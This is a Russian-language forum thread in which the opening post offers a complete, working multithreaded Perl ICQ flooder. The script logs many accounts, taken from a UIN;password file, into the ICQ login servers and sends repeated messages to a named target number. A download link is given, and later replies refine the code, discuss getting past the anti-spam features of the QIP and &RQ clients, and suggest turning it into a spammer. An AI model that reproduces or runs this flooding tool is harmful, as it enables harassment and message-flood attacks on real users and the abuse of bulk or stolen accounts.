Isis посвящается. Кроссплатформенный, многопоточный icq flooder. Т.к. написан за 2 часа, возможны ошибки/баги. Если кто-то считает, что его необходимо доделать(и отпишется здесь), то я постараюсь сделать его лучшим в своём роде . Code: #!/usr/bin/perl ################################## ## Script for icq flood ## thx to CyberLords for sample ################################## use IO::Socket; use Thread; use strict; ##### config ##### our $file = 'uins.txt'; # файл с записями вида uin;pass our $flood = '22222208'; # кого флудим? our $send_message='From Russia With Love :-p'; # текст сообщения our $count = 100; # количество сообщений с одного уина our $delay = 3; # максимальная задержка отправки сообщений my $onlain = 5; # задержка между выходами уина в он-лайн(т.к. пока без прокси, маленьким ставить не советую) ################## my (@threads, @strings); my ($uin, $pass, $j, $sl); open(F,$file); @strings=<F> or die print "$! "; close(F); $sl = scalar @strings * $onlain; for ($j=0; $j < scalar @strings; $j++) { ($uin, $pass) = split(/;/, @strings[$j]); $threads[$j] = Thread->new(\&icq_flood, $uin, $pass, ($sl -= $onlain)) if (($uin) && ($pass)); sleep($onlain); } for ($j=0; $j < scalar @strings; $j++){$threads[$j] -> join();} sub icq_flood{ my ($uin, $password, $sleep, $server, $port) = @_; $server = $server || "login.icq.com"; $port = $port || 5190; my $client_id = "ICQBasic"; my $socket = undef; my $i; my $answer_data; # ответ сервера my $auth_request; #посылаемый пакет my $FlAP_header; # заголовок FLAP пакета (сигнатура начала данных, номер канала, sequence number, длина данных) my $data; # данные пакета my $BOS_server_address; # ip основного сервера для работы с icq my $BOS_server_port; # порт сервера my $seq_num = int(rand(0xFFFF)); $data= #(основнные данные) "\x00\x00\x00\x01". #версия протокола "\x00\x01".pack('n',length($uin)).$uin. #сигнатура уина, длина уина, уин "\x00\x02".pack('n',length($password)).xor_password($password). #то же для пароля "\x00\x03".pack('n',length($client_id)).$client_id. # то же для клиента "\x00\x16".pack('n',2).pack('n',266). # версии клиента: мажор, минор, билд и тд "\x00\x17".pack('n',2).pack('n',4). # -||- "\x00\x18".pack('n',2).pack('n',65). # -||- "\x00\x19".pack('n',2).pack('n',1). # -||- "\x00\x1A".pack('n',2).pack('n',3281). # -||- "\x00\x14".pack('n',4).pack('N',85). # -||- "\x00\x0F".pack('n',2)."en". # язык клиента "\x00\x0E".pack('n',2)."us"; # страна клмента $FlAP_header="\x2a\x01".pack('n',$seq_num++).pack('n',length($data)); $auth_request=$FlAP_header.$data; socket(SOCK,AF_INET,SOCK_STREAM,getprotobyname('tcp')) or die "socket() failed: $!\n"; #создаём сокет connect(SOCK,sockaddr_in($port,inet_aton($server))) or return 0; SOCK->autoflush(1); sysread(SOCK,$answer_data,1024); print SOCK $auth_request; sysread(SOCK,$answer_data,1024); if ($answer_data !~/\x8e\x00/) { print "\n UIN $uin: Authorization error.\n"; } close(SOCK); $answer_data =~/(\d*\.\d*\.\d*\.\d*)\:(\d*)/; $BOS_server_address = $1; $BOS_server_port = $2; undef $data; undef $FlAP_header; $data="\x00\x00\x00\x01\x00\x06".pack('n',256).get_cookies($answer_data); $seq_num = 0 if $seq_num > 65535; $FlAP_header="\x2a\x01".pack('n',$seq_num++).pack('n',length($data)); $auth_request=$FlAP_header.$data; socket(SOCK,AF_INET,SOCK_STREAM,getprotobyname('tcp')) or die "socket() failed: $!\n"; connect(SOCK,sockaddr_in($BOS_server_port,inet_aton($BOS_server_address))) or return 0; SOCK->autoflush(1); sysread(SOCK,$answer_data,1024); print SOCK $auth_request; sysread(SOCK,$answer_data,1024); undef $data; undef $FlAP_header; $data="\x00\x01\x00\x17".("\x00" x 7)."\x01\x00\x03\x00\x02\x00\x01\x00\x03\x00\x01\x00\x15\x00\x01\x00\x04\x00\x01\x00\x06\x00\x01\x00\x09\x00\x01\x00\x0a\x00\x01"; $seq_num = 0 if $seq_num > 65535; $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data)); $auth_request=$FlAP_header.$data; print SOCK $auth_request; sysread(SOCK,$answer_data,1024); undef $data; undef $FlAP_header; $data="\x00\x01\x00\x06".("\x00" x 6); $seq_num = 0 if $seq_num > 65535; $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data)); $auth_request=$FlAP_header.$data; print SOCK $auth_request; sysread(SOCK,$answer_data,2048); undef $data; undef $FlAP_header; $data="\x00\x01\x00\x08".("\x00" x 7)."\x01\x00\x02\x00\x03\x00\x04\x00\x05"; $seq_num = 0 if $seq_num > 65535; $FlAP_header="\x2a"."\x02".pack('n',$seq_num++).pack('n',length($data)); $auth_request=$FlAP_header.$data; print SOCK $auth_request; undef $data; undef $FlAP_header; $data="\x00\x01\x00\x1e".("\x00" x 7)."\x06\x00\x04\x01\00\x00\x00"; $seq_num = 0 if $seq_num > 65535; $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data)); $auth_request=$FlAP_header.$data; print SOCK $auth_request; sysread(SOCK,$answer_data,2048); undef $data; undef $FlAP_header; $data="\x00\x01\x00\x02".("\x00" x 7)."\x01\x00\x03\x01\x10\x02\x8a\x00\x02\x00\x01\x01\x01\x02\x8a\x00\x03\x00\x01\x01\x10\x02\x8a\x00\x15\x00\x01\x01\x10\x02\x8a\x00\x04\x00\x01\x01\x10\x02\x8a\x00\x06\x00\x01\x01\x10\x02\x8a\x00\x09\x00\x01\x01\x10\x02\x8a\x00\x0a\x00\x01\x01\x10\x02\x8a"; $seq_num = 0 if $seq_num > 65535; $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data)); $auth_request=$FlAP_header.$data; print SOCK $auth_request; print "\n UIN: $uin ON-LINE.\n"; ### Эту строчку можно удалить :) sleep($sleep); # Если хотите чтобы флуд начинался сразу же, после выхода уина в он-лайн - закоментируйте данную строчку. for ($i=1; $i<$count; $i++) { undef $data; undef $FlAP_header; my $part1="\x00\x04\x00\x06".("\x00" x 6)."\xe4\x70\x7c\xbf\x67\xfd\x91\x6f\x00\x02".pack("w",length($flood)).$flood."\x00\x05"; my $part2="\x00\x00\xe4\x70\x7c\xbf\x67\xfd\x91\x6f\x09\x46\x13\x49\x4c\x7f\x11\xd1\x82\x22\x44\x45\x53\x54\x00\x00\x00\x0a\x00\x02\x00\x01\x00\x0f\x00\x00\x27\x11"; my $part3="\x1b\x00\x07".("\x00" x 19)."\x03".("\x00" x 4)."\xe9\xff\x0e\x00\xe9\xff".("\x00" x 12)."\x01\x00\x00\x00\x01\x00".pack("v",length("$send_message\0"))."$send_message\x00".("\x00" x 4)."\xff\xff\xff\x00"; $data=$part1.pack('n',length($part2.$part3)+2).$part2.pack('n',length($part3)).$part3; # составляем данные, подставляя все TLV размеры $data.="\x00\x03\x00\x00"; $seq_num = 0 if $seq_num > 65535; $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data)); $auth_request=$FlAP_header.$data; print SOCK $auth_request; sysread(SOCK,$answer_data,2048); sleep(int(rand($delay))); } } sub xor_password() { my ($password)=@_; my @password_xor=("\xF3", "\x26", "\x81", "\xC4", "\x39", "\x86","\xDB", "\x92", "\x71", "\xA3", "\xB9", "\xE6", "\x53", "\x7A", "\x95","\x7C"); my $xored_password; my $i=0; foreach(split(//,$password)) { $xored_password.=$_ ^ $password_xor[$i++]; $i=0 if $i eq @password_xor; } return $xored_password; } sub get_cookies() { my ($data)=@_; my $cookies; my $i=0; my $c=0; foreach(split(//,$data)) { $i=1 if($c eq "\x00" && $_ eq "\x06"); $cookies.=$_ if $i eq 1; $c=$_; } return substr($cookies,3,length($cookies)); } ################################## ## (C)oded by BuH@LicH ## just4fun... ################################## ToDo: - Поддержку Http/Socks прокси - Возможность отправки сообщений авторизации - Админку для распределённого флуда P.S. Спасибо System за оценку кода и указание на ошибки.
Сначала доделай свой список ToDo , а потом выкладывай =\ И еще...... Если хоть от одного человека я увижу PHP: our $flood = '22222208'; # кого флудим? , то прощайся со своей ацкой.....её будет жестоко выбивать
Давайте я буду решать что мне делать, ок?) Боюсь, боюсь, боюсь... Да, конечно. Флудер работает. Проблема у Вас. Если Вы смотрели код, то должны были догадаться, что флудер сначала выводит все уины онлайн, а только потом начинает флудить. Если хотите, чтобы флуд начинался сразу же после выхода каждого уина в онлайн, удалите из кода:sleep($sleep);
сделай чтоб номер и параметры можно было указывать как аргументы при запуске.. >> undef $data; >> undef $FlAP_header; а зачем это? >> Админку для распределённого флуда имхо это лишнее для подобного скриптика ) ..вот если станешь его под спамер переделывать, тогда админка не помешает.. и выложи его лучше в виде аттача, ато форум покромсал скриптег немного..
Спасибо Хорошо. Спасибо большое! Я и не заметил. Возможно из-за этого он и не работал у кого-то. Скачать можно тут: http://icq-floof123.narod.ru/icq.pl
>> Возможно из-за этого он и не работал у кого-то. а может и потому, что он не флудит на &rc, к примеру.. прикольней можно сделать, чтоб, например, фразы для флуда разные выбирались..
Квиповский и крысовский(&rc - имелось ввиду &rQ ?) антиспам не удалось пока вынести этим флудером. Сейчас разбираюсь как старые флудеры выносили уины с антиспамом. &rQ без антиспама вылетает, только что протестил. Пока посплю схожу, вечерком гляну ещё разок
>> &rc - имелось ввиду &rQ ? угу ) ток у меня наооборот вышло: в &rq ниче не приходило (антиспам-опции не активированы даже), а в квипе (уже старый билд) приходят сообщения..
Дык да ## thx to CyberLords for sample. http://www.cyberlords.net/releases/cl_icq.txt и некоторые отрывки кодов были из различных *.pm.